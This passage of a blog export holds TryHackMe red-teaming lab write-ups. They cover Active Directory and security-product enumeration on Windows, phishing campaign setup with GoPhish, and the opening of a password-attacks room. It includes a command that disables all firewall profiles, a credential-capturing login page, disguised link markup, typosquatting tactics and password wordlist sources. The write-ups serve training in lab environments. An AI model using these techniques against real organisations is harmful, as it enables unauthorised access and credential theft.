users, and managed service accounts. Domain Administrators: Manage domain settings and policies. AD Forest: A collection of domains that trust each other. Knowing the AD environment is crucial for red teamers. By enumerating AD structures, they gain access to detailed information, facilitating lateral movement within networks during attacks.\nCheck if a Computer Is Part of an AD Domain\nUse systeminfo | findstr Domain. Note that if we get WORKGROUP in the domain section, then the machine is part of a local workgroup. Questions and Answers Use systeminfo | findstr Domain on the target to answer the following two questions.\nQuestion 1: Before going any further, ensure the attached machine is deployed and try what we discussed. Is the attached machine part of the AD environment? (Y|N)\nY\nQuestion 2: If it is part of an AD environment, what is the domain name of the AD?\nthmredteam.com\nUsers and Groups Management Understanding the AD environment is crucial once initial access to a compromised machine is achieved. This process involves identifying various types of AD service accounts and leveraging enumeration techniques to gather essential information.\nAD Service Accounts\nBuilt-in Local Users: These are used for local system management and exist outside the AD environment. Domain User Accounts: Provide access to AD services, managed by domain administrators. Managed Service Accounts: Limited domain user accounts with higher privileges for managing AD services. Domain Administrators: User accounts that can manage information in an Active Directory environment. They manage information like AD configurations, users, groups, permissions, roles, and services. AD Administrator Accounts\nBUILTIN\\Administrator: Local admin access on a domain controller. Domain Admins: Administrative access to all resources in the domain. Enterprise Admins: Available only in the forest root. Schema Admins: Capable of modifying domain or forest configurations; useful for red teamers. Server Operators: Manage domain servers. Account Operators: Manage users that are not in privileged groups. AD Enumeration Distinguished Name (DN)\nThe Distinguished Name (DN) is a collection of comma-separated key and value pairs used to identify unique records within the directory. The DN consists of Domain Component (DC), OrganizationalUnitName (OU), Common Name (CN), and others.\nThe following is an example of a DN\u0026mdash;CN=User1,CN=Users,DC=thmredteam,DC=com\u0026mdash;which can be visualized as follows:\nFigure 1: Distinguished Name hierarchy\nAD enumeration examples:\n# Retrieve all Active Directory user accounts within the current domain Get-ADUser -Filter * # Specify a Common-Name (CN) and list users that are part of Users Get-ADUser -Filter * -SearchBase \u0026#34;CN=Users,DC=THMREDTEAM,DC=COM\u0026#34; # Specify an OU and list users that are part of THM Get-ADUser -Filter * -SearchBase \u0026#34;OU=THM,DC=THMREDTEAM,DC=COM\u0026#34; Questions and Answers Simply run Get-ADUser -Filter * -SearchBase \u0026quot;OU=THM,DC=THMREDTEAM,DC=COM\u0026quot; in PowerShell to answer the next two questions.\nQuestion 1: Use the \u0026lsquo;Get-ADUser -Filter * -SearchBase\u0026rsquo; command to list the available user accounts within THM OU in the thmredteam.com domain. How many users are available?\n6\nQuestion 2: Once you run the previous command, what is the UserPrincipalName (email) of the admin account?\nthmadmin@thmredteam.com\nHost Security Solutions Antivirus Software (AV) Antivirus software is designed to detect, monitor, and prevent malicious software by scanning files and systems. Regular updates are necessary as the software relies on virus definitions, which are matched against known signatures. Key features include:\nBackground Scanning\nAntivirus software works in real time and scans all open and used files in the background. Full System Scan: Scans the whole system. Virus Definitions: Database of known malware signatures used for detection. Detection Techniques\nSignature-based: Uses a database of known malicious signatures to identify threats. Heuristic-based: Utilizes machine learning to analyze code or API usage in real time. Behavior-based: Monitors for abnormal activities like registry changes or process modifications. Enumerating AV Software\nNote that Windows Servers may not have the SecurityCenter2 namespace; this works only on Windows workstations.\nWMIC\nwmic /namespace:\\\\root\\securitycenter2 path antivirusproduct POWERSHELL\nGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct Microsoft Windows Defender A pre-installed antivirus tool designed to protect endpoints. It employs advanced algorithms, including machine learning and big-data analysis, to detect and combat malware and viruses.\nProtection Modes\nActive Mode: Default setting where it functions as the primary antivirus, offering real-time protection and remediation. Passive Mode: Used when a third-party antivirus is installed, acting as a secondary tool that scans files but does not remove threats; therefore, no remediation occurs. Disable Mode: Disabled or removed from the system, preventing its operation. Enumerating Defender\nCheck the service state:\nGet-Service WinDefend Check if Defender is enabled:\nGet-MpComputerStatus | select RealTimeProtectionEnabled # Without specifying, it provides the current status of all security solution elements. Host-Based Firewall A security tool installed on a machine designed to protect it by controlling inbound and outbound network traffic. It acts as a gatekeeper, allowing only trusted devices on the same network while blocking unauthorized access. It is crucial for preventing unauthorized access.\nKey Features\nCan monitor and manage network traffic at the network layer. Can block malicious or untrusted packets, such as ICMP requests in a ping command. Can inspect higher OSI layers (e.g., application layer) to detect and block attacks like SQL injection. Enumerating Firewall Settings\n# Check the profile settings Get-NetFirewallProfile | Format-Table Name, Enabled # Disabling firewall profiles (requires admin privileges) Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False # Check firewall rules Get-NetFirewallRule | select DisplayName, Enabled, Description # To check and verify what exactly the firewall blocks, use Test-NetConnection or TcpClient # Test inbound connection without extra tools Test-NetConnection -ComputerName 127.0.0.1 -Port 80 Questions and Answers Question 1: Enumerate the attached Windows machine and check whether the host-based firewall is enabled or not! (Y|N)\nN\nWe checked which firewall profiles are enabled. It appears that none are active.\nPS C:\\Users\\kkidd\u003e Get-NetFirewallProfile | format-table name, enabled ... name Enabled ---- ------- Domain False Private False Public False ... PS C:\\Users\\kkidd\u003e Question 2: Using PowerShell cmdlets such as Get-MpThreat can provide us with threat details that have been detected using MS Defender. Run it and answer the following: What is the file name that causes this alert to be recorded?\nPowerView.ps1\nWe checked this with Get-MpThreat.\nPS C:\\Users\\kkidd\u003e Get-MpThreat ... CategoryID : 34 ... Resources : {file:_C:\\Users\\kkidd\\Desktop\\PowerView.ps1, containerfile:_C:\\Users\\kkidd\\Desktop\\PowerView.ps1, file:_C:\\Users\\kkidd\\Desktop\\PowerView.ps1-\u003e(UTF-8)} RollupStatus : 1 ... PS C:\\Users\\kkidd\u003e Question 3: Enumerate the firewall rules of the attached Windows machine. What is the port that is allowed under the THM-Connection rule?\n17337\nWe checked all firewall rules and filtered for the THM-Connection string.\nPS C:\\Users\\kkidd\u003e Get-NetFirewallRule | findstr \"THM-Connection\" DisplayName : THM-Connection Description : THM-Connection inbound to 17337 Port! PS C:\\Users\\kkidd\u003e Question 4: In the next task, we will keep discussing the host security solution. I\u0026rsquo;m ready!\nNo answer needed\nSecurity Event Logging and Monitoring Security event logging and monitoring are crucial tools for system administrators and security teams to monitor and analyze activities within a network or on individual machines.\nWindows operating systems log events categorized by types such as application, system, security, and services. These logs help identify installed components like Active Directory and DNS servers. In corporate settings, log agent software is employed to collect logs from various sensors, aiding network monitoring and incident analysis.\nEnumerating Event Logs\n# Check the available event log categories Get-EventLog -List System Monitor (Sysmon)\nA tool from Microsoft\u0026rsquo;s Sysinternals suite, Sysmon is not installed by default but can be started to log various system events. These logs are valuable for system administrators and security teams (blue teamers) in detecting malicious activities and aiding in troubleshooting.\nKey features include monitoring processes, network connections, file modifications, remote threats, process and memory access, and more. It also allows custom rule creation for specific monitoring needs.\nEnumerating Sysmon\n# Check for processes named Sysmon Get-Process | Where-Object { $_.ProcessName -eq \u0026#34;Sysmon\u0026#34; } # Check for services referencing sysmon Get-CimInstance win32_service -Filter \u0026#34;Description = \u0026#39;System Monitor service\u0026#39;\u0026#34; # Check for services referencing sysmon Get-Service | where-object {$_.DisplayName -like \u0026#34;*sysm*\u0026#34;} # Check the Windows registry reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Sysmon/Operational If installed and operational, check its configuration to understand more.\n# Look for its config file # Example was located at \u0026#34;c:\\tools\\sysmon\\sysmonconfig.xml\u0026#34; findstr /si \u0026#39;\u0026lt;ProcessCreate onmatch=\u0026#34;exclude\u0026#34;\u0026gt;\u0026#39; C:\\tools\\* HIDS and HIPS Host-based Intrusion Detection Systems (HIDS) are software tools designed to monitor and detect suspicious activities on a host computer.\nOperation Methods\nSignature-based Detection: Identifies threats by matching known signatures using checksums and message authentication. Anomaly-based Detection: Flags unusual behaviors, such as abnormal bandwidth usage, protocols, or ports. Host-based Intrusion Prevention Systems (HIPS) extend this functionality by preventing malicious activities through features like auditing log files, monitoring processes, and protecting system resources.\nHIPS combines tools such as antivirus, behavior analysis, network protection, and application firewalls.\nEDR Endpoint Detection and Response (EDR) is an advanced cybersecurity solution designed to detect and respond to malicious activities on individual endpoints. It monitors for threats such as malware, exploit chains, and ransomware in real time, providing detailed analytics for investigation and response.\nIt provides comprehensive endpoint protection by combining threat detection with response capabilities to safeguard against evolving cyber threats. Popular EDR solutions include Cylance, CrowdStrike, Symantec, and SentinelOne.\nEnumerating EDR Products\nScripts like Invoke-EDRChecker and SharpEDRChecker help enumerate security products on a machine by examining file metadata, processes, DLLs, services, and drivers.\nEven if an attacker bypasses initial detection, EDR continues to monitor and can block actions upon detecting anomalies.\nQuestion 1: We covered some of the common security endpoints we may encounter during the red team engagement. Let\u0026rsquo;s discuss the network-based security solutions in the next task!\nNo answer needed\nNetwork Security Solutions Network Firewall A critical security component that monitors and controls incoming and outgoing network traffic based on predefined rules and policies. It acts as the first line of defense against untrusted external traffic, ensuring only authorized access is granted to a network or specific applications.\nModern firewalls are often integrated into network routers or security appliances, offering robust features that enhance network security and data protection.\nFirewall Types\nPacket-filtering firewalls: These inspect traffic at the network layer, allowing or blocking packets based on criteria such as source IP address. Proxy firewalls: Function as intermediaries, managing network traffic between trusted internal networks and external sources by providing security services like authentication and encryption. NAT firewalls: Combine network address translation with firewall capabilities to hide internal IP addresses and control access while translating private IPs to public ones. Web application firewalls (WAFs): Protect web applications from cyber threats by analyzing traffic and enforcing rules based on application logic, mitigating risks like SQL injection and XSS. SIEM Security Information and Event Management (SIEM) is an integral solution that combines Security Information Management (SIM) and Security Event Management (SEM) to enable real-time monitoring, analysis, and response to security events.\nIt helps organizations proactively identify and mitigate potential threats by aggregating log data from various network sources and applying advanced analytics to detect unusual patterns or behaviors. SIEM systems are capable of addressing a wide range of threats, including insider threats, security vulnerabilities, phishing attacks, web-based threats, DDoS attacks, and data exfiltration.\nKey Functions\nLog Management: Centralized collection of logs from across the network for comprehensive monitoring. Event Analytics: Utilizes AI and threat intelligence to detect abnormal activities, enabling timely incident response. Incident Monitoring and Alerts: Notifications for potential threats, allowing administrators to take action before damage occurs. Compliance Reporting: Generates real-time reports to aid in decision-making and ensure regulatory compliance. Popular SIEM tools include Splunk, LogRhythm NextGen SIEM Platform, SolarWinds Security Event Manager, and Datadog Security Monitoring.\nIDS and IPS Network-based Intrusion Detection Systems (NIDS) and Intrusion Prevention Systems (NIPS) are network security solutions designed to monitor and protect enterprise networks from cyber threats. Both systems analyze network traffic for suspicious activities or known malicious patterns.\nIDS\nFocuses on detecting potential intrusions by monitoring network packets for anomalies. It alerts administrators, who then need to manually intervene or use additional tools to address the threat.\nIPS\nEnhances IDS functionality by automatically blocking or rejecting packets deemed suspicious based on predefined policies and rules, preventing potential breaches.\nCommon enterprise solutions:\nPalo Alto Networks Cisco\u0026rsquo;s Next-Generation Security System McAfee Network Security Platform (NSP) Trend Micro TippingPoint Suricata These systems play a crucial role in network security by providing real-time threat detection and response capabilities.\nQuestion 1: Read the above!\nNo answer needed\nApplications and Services Installed Applications\nEnumerating a system\u0026rsquo;s installed applications involves identifying software by name and version. The goal is to identify potentially vulnerable software that can be exploited to gain unauthorized access or escalate privileges. This enumeration may reveal plain-text credentials, which could belong to other systems or services.\nEnumerating Installed Applications\n# List all installed applications and their versions wmic product get name,version # Look for hidden directories Get-ChildItem -Hidden -Path C:\\Users\\kkidd\\Desktop\\ Services and Processes\nEnumerating running services and processes on a target system is a critical step and involves identifying software executables and their configurations to uncover potential vulnerabilities, especially misconfigured permissions that may escalate user access levels.\nKey objectives:\nIdentifying Running Services: To detect Windows services and applications running within their own sessions. Discovering Misconfigured Permissions: To identify vulnerabilities in service configurations that could be exploited. Gathering Process Information: To gather details about custom-developed applications or sensitive information associated with running processes. Enumerating Services and Processes\n# List running services (started) net start # Get more info about a particular service (here: THM Demo) # Example service path: c:\\windows\\thm-demo.exe wmic service where \u0026#34;name like \u0026#39;THM Demo\u0026#39;\u0026#34; get Name,PathName # Once the process is identified, check the process # This will provide us with the process ID (here: 3212) Get-Process -Name thm-demo # Check for listening ports by that process ID netstat -noa |findstr \u0026#34;LISTENING\u0026#34; |findstr \u0026#34;3212\u0026#34; This enumeration helps in understanding the system\u0026rsquo;s configuration, revealing potential escalation vectors and areas for further investigation.\nSharing Files and Printers\nYou might find misconfigured access permissions and useful information about other accounts and systems.\nInternal Services, DNS, Local Web Applications, etc.\nCommon internal services: DNS services, email services, network file shares, web applications, and database services.\nQuestions and Answers Question 1: Finally, we can see it is listening on port 8080. Now try to apply what we discussed and find the port number for THM Service. What is the port number?\n13337\nIn summary, we checked the started services, identified the interesting service, and obtained more information about it. Then we examined the identified process and checked for listening ports associated with its PID.\nHere is the complete terminal interaction, shortened for brevity:\nPS C:\\Users\\kkidd\u003e net start These Windows services are started: ... Active Directory Web Services ... Themes THM Service Time Broker ... PS C:\\Users\\kkidd\u003e wmic service where \"name like 'THM Service'\" get Name,PathName Name PathName THM Service c:\\Windows\\thm-service.exe ... PS C:\\Users\\kkidd\u003e Get-Process -name thm-service ... Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 78 9 12668 5612 2784 0 thm-service ... PS C:\\Users\\kkidd\u003e netstat -noa | findstr \"LISTENING\" | findstr \"2784\" TCP 0.0.0.0:13337 0.0.0.0:0 LISTENING 2784 TCP [::]:13337 [::]:0 LISTENING 2784 PS C:\\Users\\kkidd\u003e Question 2: Visit the localhost on the port you found in Question #1. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nWe used curl to retrieve the flag.\nPS C:\\Users\\kkidd\u003e curl http://localhost:13337 ... StatusCode : 200 StatusDescription : OK Content : Hi the flag is: THM{\u0026lt;redacted-flag\u0026gt;} RawContent : HTTP/1.1 200 OK Content-Length: 44 Content-Type: text/plain; charset=utf-8 ... Hi the flag is: THM{\u0026lt;redacted-flag\u0026gt;} Forms : {} Headers : {[Content-Length, 44], [Content-Type, text/plain; charset=utf-8], [...]} Images : {} InputFields : {} Links : {} ParsedHtml : System.__ComObject RawContentLength : 44 ... PS C:\\Users\\kkidd\u003e Question 3: Now enumerate the domain name of the domain controller, thmredteam.com, using the nslookup.exe, and perform a DNS zone transfer. What is the flag for one of the records?\n\u0026lt;redacted-flag\u0026gt;\nStep 1: Run nslookup.exe.\nStep 2: Specify the DNS server to query and set it to our target box.\n# server NAME : set default server to NAME, using current default server server \u0026lt;targetbox-ip\u0026gt; Step 3: Attempt the DNS zone transfer on the domain that we found in AD.\n# ls : list addresses in DOMAIN # -d : list all records ls -d thmredteam.com Step 4: Retrieve the flag from the records.\nPS C:\\Users\\kkidd\u003e nslookup.exe Default Server: ip-10-0-0-2...compute.internal Address: 10.0.0.2 \u003e server 10.10.229.147 Default Server: ip-10-10-229-147...compute.internal Address: 10.10.229.147 \u003e ls -d thmredteam.com [ip-10-10-229-147...] thmredteam.com. SOA ad.thmredteam.com hostmaster.thmredteam.com. (749 900 600 86400 3600) thmredteam.com. A 10.10.129.59 ... flag TXT \"THM{\u0026lt;redacted-flag\u0026gt;}\" ... www A 10.10.141.51 thmredteam.com. SOA ad.thmredteam.com hostmaster.thmredteam.com. (749 900 600 86400 3600) \u003e Conclusion Question 1: Hope you enjoyed the room and keep learning!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/post-compromise/the-lay-of-the-land/","summary":"THM | Red Teaming | Post Compromise | The Lay of the Land","title":"The Lay of the Land"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Initial Access\nRoom: Phishing DESCRIPTION:\nLearn what phishing is and why it\u0026rsquo;s important to a red team engagement. You will set up phishing infrastructure, write a convincing phishing email and try to trick your target into opening your email in a real-world simulation.\nBrief Question 1: I\u0026rsquo;m ready to learn!\nNo answer needed\nIntro To Phishing Attacks Social engineering is a psychological manipulation technique where individuals are tricked into revealing information or performing actions by exploiting human weaknesses such as curiosity or greed. Phishing, a form of social engineering, often uses email to deceive people into divulging personal information or executing malicious code.\nPhishing emails typically appear from trusted sources and may include tempting offers or links leading to bogus websites. Spear-phishing targets specific individuals or organizations, making it harder to detect with standard security tools like spam filters. This method is commonly used by red teams for vulnerability assessments.\nOther phishing methods include smishing (via SMS) and vishing (through phone calls). The example scenario below illustrates how we can exploit a local business opportunity to trick employees into revealing credentials via email, highlighting the effectiveness of these techniques in exploiting human vulnerabilities.\nPhishing Example Scenario by THM\nThe example scenario below shows how an employee of a company could be tricked into revealing their credentials.\nWe locate the physical location of the target business.\nWe then look for nearby food suppliers and discover a company called Ultimate Cookies!\nWe register the domain name ultimate-cookies.thm.\nWe then craft an email to our target, tempting them with an offer of receiving some free cookies if they sign up to the website. Because the victim has heard of this local company, they are more likely to trust it.\nThe victim then follows the link in the email to the fake website we created and registers online. To keep things simple, the victim reuses the same password for all their online accounts.\nWe now have the victim\u0026rsquo;s email address and password and can log onto the victim\u0026rsquo;s company email account. We could now have access to private company information and also have somewhere to launch another phishing attack against other employees.\nQuestion 1: What type of psychological manipulation is phishing part of?\nsocial engineering\nQuestion 2: What type of phishing campaign do red teams get involved in?\nspear-phishing\nWriting Convincing Phishing Emails Phishing emails rely on three key components to deceive victims: the sender\u0026rsquo;s email address, subject lines, and content.\nSender\u0026rsquo;s Email Address\nSpoofed from well-known brands or contacts by using domains that appear legitimate. Gathered through OSINT tactics, such as analyzing social media, Google searches, business websites, and LinkedIn profiles of the target to identify potential spoofing targets. Subject Line\nDesigned to be urgent, attention-grabbing, or curious, prompting immediate action. Examples include warnings about compromised accounts, packages, payroll information, or published photos. Content\nMimics legitimate brands or contacts by researching their email templates, logos, and signatures. Uses anchor text to disguise malicious links as trustworthy references to the spoofed brand or contact. Example:\n\u0026lt;a href=\u0026#34;http://spoofsite.thm\u0026#34;\u0026gt;Click Here\u0026lt;/a\u0026gt; \u0026lt;!-- Or --\u0026gt; \u0026lt;a href=\u0026#34;http://spoofsite.thm\u0026#34;\u0026gt;https://onlinebank.thm\u0026lt;/a\u0026gt; The aim is to create convincing emails that minimize suspicion, increasing the likelihood of victims revealing sensitive information or executing malicious actions.\nQuestion 1: What tactic can be used to find brands or people a victim interacts with?\nOSINT\nQuestion 2: What should be changed on an HTML anchor tag to disguise a link?\nanchor text\nPhishing Infrastructure To effectively launch a phishing campaign, several key components and tools are essential:\nDomain Name: Register an authentic-looking domain or mimic another\u0026rsquo;s to ensure legitimacy.\nSSL/TLS Certificates: Implement these to add authenticity to the domain, enhancing the site\u0026rsquo;s trustworthiness.\nEmail Server/Account: Utilize either an email server setup or an SMTP provider to send phishing emails from believable addresses.\nDNS Records (SPF, DKIM, DMARC): Configure these records to improve email deliverability and prevent spam flags, mimicking legitimate domains\u0026rsquo; practices.\nWeb Server/Hosting: Set up web servers or purchase hosting for phishing sites, with SSL/TLS adding an extra layer of authenticity.\nAnalytics Tools: Implement tracking tools to monitor campaign success, including emails sent, opened, clicked, and data from phishing sites regarding personal information or malicious downloads.\nAutomation and Tools: Use frameworks like GoPhish for simplified campaign setup and additional tools such as SET (Social Engineering Toolkit) for creating spear-phishing attacks and fake websites to deceive victims into revealing credentials.\nGoPhish - Open-Source Phishing Framework: SMTP server, email templates, email scheduling, analytics.\nSET - Social Engineering Toolkit: Spear-phishing, fake versions of common websites.\nThis infrastructure and toolset are crucial for executing a well-organized and effective phishing campaign.\nQuestion 1: What part of a red team infrastructure can make a website look more authentic?\nSSL/TLS Certificates\nQuestion 2: What protocol has TXT records that can improve email deliverability?\nDNS\nQuestion 3: What tool can automate a phishing campaign and include analytics?\nGoPhish\nUsing GoPhish Sending Profiles Demo Setup\nName: Local Server Interface Type: SMTP From: noreply@redteam.thm Host: 127.0.0.1:25 Username and password are left blank Check Ignore Certificate Errors Everything else left blank \u0026gt; Click on Save Profile Landing Pages Demo Setup\nName: ACME Login HTML Source \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;ACME IT SUPPORT - Admin Panel\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { font-family: \u0026#34;Ubuntu\u0026#34;, monospace; text-align: center } div.login-form { margin:auto; width:300px; border:1px solid #ececec; padding:10px;text-align: left;font-size:13px;} div.login-form div input { margin-bottom:7px;} div.login-form input { width:280px;} div.login-form div:last-child { text-align: center; } div.login-form div:last-child input { width:100px;} \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h2\u0026gt;ACME IT SUPPORT\u0026lt;/h2\u0026gt; \u0026lt;h3\u0026gt;Admin Panel\u0026lt;/h3\u0026gt; \u0026lt;form method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;login-form\u0026#34;\u0026gt; \u0026lt;div\u0026gt;Username:\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;\u0026lt;input name=\u0026#34;username\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;Password:\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;\u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;\u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Login\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Click Source button again \u0026gt; Check both Capture Submitted Data and Capture Passwords Everything else is left blank \u0026gt; Save Page Email Templates Demo Setup\nName: Email 1 Subject: New Message Received Click link button Display Text: https://admin.acmeitsupport.thm Protocol: \u0026lt;other\u0026gt; URL: {{.URL}} - placeholder for the actual link Content/Text Hello, You\u0026#39;ve received a new message, please log in to the admin portal to view it \u0026lt;link\u0026gt;. Many Thanks Online Team Check Add Tracking image Leave everything else blank \u0026gt; Save Template Users \u0026amp; Groups Demo Setup\nName: Targets Add for every email entry martin@acmeitsupport.thm brian@acmeitsupport.thm accounts@acmeitsupport.thm Leave everything else blank \u0026gt; Save changes Campaigns Demo Setup\nName: Campaign One Email Template: Email 1 Landing Page: ACME Login URL: http://\u0026lt;tmachine-ip\u0026gt; Launch Date: Set it to 2 days ago (adjust it to your needs) Sending Profile: Local Server Groups: Targets Press Launch Campaign \u0026gt; Launch on Are You Sure prompt Question 1: What is the password for Brian?\n\u0026lt;redacted-password\u0026gt;\nDroppers Droppers are malicious tools used in phishing attacks that trick victims into downloading and running software on their systems. These droppers may be presented as useful or legitimate applications, such as codecs for video playback or software to open specific files. Despite being non-malicious themselves, they can pass antivirus checks, making them stealthy delivery mechanisms for harmful payloads.\nOnce installed, droppers facilitate the download of malicious software from a server, which is then installed on the victim\u0026rsquo;s computer. This payload can establish a connection back to the attacker\u0026rsquo;s infrastructure, enabling unauthorized access and control over the system. From here, attackers may exploit the local network, leading to significant security breaches for both individuals and organizations.\nIn summary, droppers are stealthy tools used to deliver malicious software, bypassing standard security measures.\nQuestion 1: Do droppers tend to be malicious?\nnay\nChoosing A Phishing Domain Choosing the perfect phishing domain is essential for achieving psychological impact on targets. Key strategies:\nExpired Domains\nPurchasing a domain with history can improve its score in spam filters, as new domains often face more scrutiny.\nTyposquatting\nThis involves registering domain names that closely resemble target domains through methods.\nMisspelling: goggle.com Additional Period: go.ogle.com Switching numbers for letters: g00gle.com Phrasing: googles.com Additional Word: googleresults.com TLD Alternatives\nUsing different top-level domains (e.g., .co.uk instead of .com) can make the phishing site appear more legitimate.\nIDN Homograph Attacks/Script Spoofing\nLeveraging Unicode character similarities across languages allows attackers to register domains that resemble others, exploiting visual similarities to deceive victims.\nExample: Using Unicode character U+0430 (Cyrillic small letter a) instead of Unicode character U+0061 (Latin small letter a).\nThese strategies help create domain names that are convincing and increase the likelihood of a successful phishing attack.\nQuestion 1: What is better, using an expired or new domain? (old/new)\nold\nQuestion 2: What is the term used to describe registering a similar domain name with a spelling error?\ntyposquatting\nUsing MS Office In Phishing During phishing campaigns, attackers frequently use Microsoft Office documents (Word, Excel, PowerPoint) as vectors. These files may contain macros, which can be legitimate but also exploited by attackers.\nWhen victims enable macros upon opening such attachments, malicious actions can occur, including malware installation or establishing unauthorized network connections, leading to potential system compromise.\nAn example illustrates this tactic:\nAn email from a spoofed Human Resources address directs the recipient to open an Excel file, which may contain macros that exploit the victim\u0026rsquo;s computer. This method leverages psychological tactics to trick individuals into enabling potentially dangerous content, highlighting the importance of caution with Office attachments in phishing scenarios.\nQuestion 1: What can Microsoft Office documents contain, which, when executed can run computer commands?\nmacros\nUsing Browser Exploits Browser exploits are a method used by attackers to gain control over victims\u0026rsquo; computers. These exploits target vulnerabilities in web browsers, such as Internet Explorer/Edge, Firefox, Chrome, or Safari, which can be exploited by visiting malicious websites.\nWhile less common, these attacks can be effective, particularly when targeting outdated software that cannot be updated due to compatibility issues, as is often the case in large institutions like education, government, or healthcare.\nAn example of such an exploit is CVE-2021-40444 from September 2021, which allowed code execution simply by visiting a website. Attackers may trick victims into visiting these sites through deceptive emails or messages, enabling them to perform malicious actions on the compromised computer.\nBrowser exploits can be a potent tool for attackers when exploiting vulnerabilities in outdated software, highlighting the importance of keeping browsers and systems updated to mitigate such risks.\nQuestion 1: Which recent CVE caused remote code execution?\nCVE-2021-40444\nPhishing Practical Question 1: What is the flag from the challenge?\n\u0026lt;redacted-flag\u0026gt;\nScenario-1\nThe domain names for the displayed link and the actual/real link do not match. Verdict: Phishing Email Figure 1: Email showing mismatched domain names between displayed and actual links\nScenario-2\nIssue-1: There is a misspelling (one less \u0026lsquo;g\u0026rsquo;) in the sender\u0026rsquo;s address. Issue-2: The actual link leads to the sharedhosting.thm domain instead of thebankinggroup.thm domain. Verdict: Phishing Email Figure 2: Email with typosquatted sender domain and mismatched hyperlink destination\nScenario-3\nThe actual link leads to the real THM site and both the sender and the content look normal. Verdict: Email Looks Safe Figure 3: Legitimate email with authentic sender and matching domains\nScenario-4\nIssue-1: Suspicious Subject (Private Report). Issue-2: Attached PDF file. Verdict: Phishing Email Figure 4: Suspicious email with generic subject line and unexpected attachment\nFinally, do not forget to retrieve the flag!\nFigure 5: Flag retrival upon challenge completion\n","permalink":"https://onebee.blog/blog/thm/red-teaming/initial-access/phishing/","summary":"THM | Red Teaming | Initial Access | Phishing","title":"Phishing"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Initial Access\nRoom: Password Attacks DESCRIPTION:\nThis room introduces the fundamental techniques to perform a successful password attack against various services and scenarios.\nLearning Objectives Password profiling Password attacks techniques Online password attacks Introduction Passwords serve as authentication mechanisms, acting as barriers between legitimate users and potential intruders. Weak passwords, frequently exposed in public data breaches, can be easily guessed by attackers due to their simplicity or commonality.\nStrong passwords should include diverse character types (uppercase letters, lowercase letters, numbers, and symbols) and adhere to minimum length requirements to enhance security.\nPassword policies implemented by organizations help prevent the use of weak passwords within an environment. However, if an attacker understands these guidelines, they can generate password lists that meet policy requirements, posing a threat to system security.\nPasswords are typically stored in file systems or databases and may be vulnerable if stored in plaintext, as demonstrated by incidents like the 2014 Sony breach. Alternatively, hashing functions or encryption algorithms can securely store passwords within systems, increasing their resistance to cracking attempts.\nQuestion 1: Learn about password attacking techniques in the next task!\nNo answer needed\nPassword Attacking Techniques This section focuses on password attack techniques, specifically discussing dictionary, brute-force, rule-based, and guessing attacks. These methods are considered active online attacks where an attacker communicates with the target machine to obtain passwords for unauthorized access.\nThe difference between password cracking and guessing is highlighted:\nPassword guessing targets online protocols and services, often leading to time-consuming attempts that generate logs and may trigger account lockouts in securely configured systems. Password cracking occurs locally or on attacker-controlled systems, aiming to escalate privileges and gain unauthorized access to computer systems or networks. Password cracking tools such as Hashcat and John the Ripper are used to convert encrypted or hashed passwords into plaintext data obtained from compromised computers or network transmissions.\nPassword cracking is a traditional penetration testing technique with the ultimate goal of granting attackers higher privileges and system access. Both password guessing and cracking are employed by cybersecurity professionals, albeit for different purposes and with distinct implications.\nQuestion 1: Which type of password attack is performed locally?\nPassword cracking\nPassword Profiling Wordlists It is essential to maintain quality wordlists for successful password attacks. This section covers various methods for generating username and password lists.\nOVERVIEW: Default, Weak, Leaked, Combined, and Username Wordlists\nDefault Passwords\n- https://cirt.net/passwords\n- https://default-password.info/\n- https://datarecovery.com/rd/default-passwords/\nWeak Passwords\n- https://github.com/danielmiessler/SecLists/tree/master/Passwords\nLeaked Passwords\n- https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases\nCombined Wordlists\n- use cat to combine; sort and uniq to remove duplicates\nCustomized Wordlists\n- use cewl to generate the list using a web page as a source\nUsername Wordlists\n- use username_generator to generate the different permutations for a given full name\nDefault passwords\nAttackers should attempt default credentials (e.g., admin:admin, admin:123456) set by manufacturers on devices like switches, firewalls, routers, or specific products such as Tomcat servers.\nDefault password resources:\nhttps://cirt.net/passwords https://default-password.info/ https://datarecovery.com/rd/default-passwords/ Weak passwords\nProfessionals create weak password lists based on their experience and observed patterns during penetration testing engagements. Common weak password sources include SecLists, which provide extensive collections of well-known and leaked passwords.\nLeaked passwords\nAttackers can utilize publicly disclosed or sold breaches (referred to as dumps) containing sensitive data like passwords or hashes. These dumps may require password extraction or cracking to obtain plaintext passwords.\nCommon password lists with weak and leaked passwords: SecLists/Passwords/Leaked-Databases.\nCombined wordlists\n# combine different wordlists into one cat file1.txt file2.txt file3.txt \u0026gt; combined_list.txt # clean up duplicates sort combined_list.txt | uniq -u \u0026gt; cleaned_combined_list.txt Customized wordlists\nCustomizing password lists significantly improves the likelihood of discovering valid credentials. Attackers can generate custom wordlists from target websites containing valuable company information, such as employee names and business-related keywords.\nTools like Cewl help extract strings or keywords specific to a company, creating 